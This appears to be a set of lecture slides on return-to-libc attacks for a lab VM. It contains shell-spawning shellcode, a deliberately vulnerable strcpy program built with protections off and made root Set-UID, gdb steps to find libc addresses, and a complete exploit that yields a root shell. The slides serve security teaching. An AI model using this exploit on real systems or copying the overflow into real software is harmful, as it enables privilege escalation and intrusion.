Return-to-libc Attacks

Outline

- Non-executable Stack countermeasure
- How to defeat the countermeasure
- Tasks involved in the attack
- Function Prologue and Epilogue
- Launching attack

Non-executable Stack

Running shellcode in C program

```
/* shellcode.c */
#include <string.h>

const char code[] =
   "\x31\xc0\x50\x68//sh\x68/bin"
   "\x89\xe3\x50\x53\x89\xe1\x99"
   "\xb0\x0b\xcd\x80";

int main(int argc, char **argv)
{
   char buffer[sizeof(code)];
   strcpy(buffer, code);
   ((void(*)())buffer)();
```

Calls shellcode

Non-executable Stack

With executable stack

```
seed@ubuntu:$ gcc -z execstack shellcode.c seed@ubuntu:$ a.out $ ← Got a new shell!
```


With non-executable stack

```
seed@ubuntu:$ gcc -z noexecstack shellcode.c
seed@ubuntu:$ a.out
Segmentation fault (core dumped)
```

How to Defeat This Countermeasure

Jump to existing code: e.g. libc library.

Function: system (cmd): cmd argument is a command which gets executed.



Environment Setup

```
int vul_func(char *str)
    char buffer[50];
                                1
    strcpy(buffer, str);
                          Buffer overflow
   return 1;
                          problem
int main(int argc, char **argv)
    char str[240];
   FILE *badfile;
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 200, badfile);
   vul_func(str);
    printf("Returned Properly\n");
    return 1;
```

This code has potential buffer overflow problem in vul func()

Environment Setup

"Non executable stack" countermeasure is switched **on**, StackGuard protection is switched **off** and address randomization is turned **off**.

```
$ gcc -fno-stack-protector -z noexecstack -o stack stack.c
$ sudo sysctl -w kernel.randomize_va_space=0
```

Root owned Set-UID program.

```
$ sudo chown root stack
```

\$ sudo chmod 4755 stack

Overview of the Attack

Task A: Find address of system().

• To overwrite return address with system()'s address.

Task B: Find address of the "/bin/sh" string.

To run command "/bin/sh" from system()

Task C: Construct arguments for system()

• To find location in the stack to place "/bin/sh" address (argument for system())

Task A: To Find system()'s Address.

- Debug the vulnerable program using gdb
- Using p (print) command, print address of system() and exit().

```
$ gdb stack
(gdb) run
(gdb) p system
$1 = {<text variable, no debug info>} Oxb7e5f430 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} Oxb7e52fb0 <exit>
(gdb) quit
```

Task B: To Find "/bin/sh" String Address

Export an environment variable called "MYSHELL" with value

"/bin/sh".

MYSHELL is passed to the vulnerable program as an environment variable, which is stored on the stack.

We can find its address.

Task B: To Find "/bin/sh" String Address

```
#include <stdio.h>
int main()
{
    char *shell = (char *)getenv("MYSHELL");

    if(shell) {
        printf(" Value: %s\n", shell);
        printf(" Address: %x\n", (unsigned int)shell);
    }

    return 1;
}
```

```
$ gcc envaddr.c -o env55
$ export MYSHELL="/bin/sh"
$ ./env55
Value: /bin/sh
Address: bffffe8c
```

Export "MYSHELL" environment variable and execute the code.

Code to display address of environment variable

Task B: Some Considerations


```
$ mv env55 env7777
$ ./env7777
Value: /bin/sh
Address: bffffe88
```

- Address of "MYSHELL" environment variable is sensitive to the length of the program name.
- If the program name is changed from env55 to env77, we get a different address.

```
$ gcc -g envaddr.c -o envaddr_dbg
$ gdb envaddr_dbg
(gdb) b main
Breakpoint 1 at 0x804841d: file envaddr.c, line 6.
(gdb) run
Starting program: /home/seed/labs/buffer-overflow/envaddr_dbg
(gdb) x/100s *((char **)environ)
0xbffff55e: "SSH_AGENT_PID=2494"
0xbffff571: "GPG_AGENT_INFO=/tmp/keyring-YIRqWE/gpg:0:1"
0xbffff59c: "SHELL=/bin/bash"
.....
0xbfffffb7: "COLORTERM=gnome-terminal"
0xbfffffd0: "/home/seed/labs/buffer-overflow/envaddr_dbg"
```


Task C: Argument for system()

- Arguments are accessed with respect to ebp.
- Argument for system() needs to be on the stack.



Task C: Argument for system()

Function Prologue




Task C: Argument for system()

Function Epilogue



esp : Stack pointer

ebp : Frame Pointer



Function Prologue and Epilogue example

```
void foo(int x) {
   int a;
   a = x;
}

void bar() {
   int b = 5;
   foo (b);
}
```

- 1 Function prologue
- 2 Function epilogue


```
$ gcc -S prog.c
$ cat prog.s
// some instructions omitted
foo:
    pushl %ebp

    movl %esp, %ebp
    subl $16, %esp
    movl 8(%ebp), %eax
    movl %eax, -4(%ebp)

leave
    ret


8(%ebp) \Rightarrow %ebp + 8
```


How to Find system()'s Argument Address?



- In order to find the system() argument, we need to understand how the ebp and esp registers change with the function calls.
- Between the time when return address is modified and system argument is used, vul_func() returns and system() prologue begins.

Memory Map to Understand system() Argument





Malicious Code

```
// ret_to_libc_exploit.c
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
 char buf[200];
 FILE *badfile;
                                                                                ebp + 12
 memset (buf, 0xaa, 200); // fill the buffer with non-zeros
                                       // The address of "/bin/sh"
  \star (long \star) \&buf[70] = 0xbffffe8c;
  \star (long \star) \&buf[66] = 0xb7e52fb0 ;
                                       // The address of exit()
                                                                               -ebp + 8
  \star (long \star) \&buf[62] = 0xb7e5f430 ;
                                       // The address of system()
 badfile = fopen("./badfile", "w");
                                                                                ebp + 4
 fwrite(buf, sizeof(buf), 1, badfile);
 fclose (badfile);
```

Launch the attack

• Execute the exploit code and then the vulnerable code

```
$ gcc ret_to_libc_exploit.c -o exploit
$ ./exploit
$ ./stack
# Got the root shell!
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=0(root),4(adm) ...
```

Summary

- The Non-executable-stack mechanism can be bypassed
- To conduct the attack, we need to understand low-level details about function invocation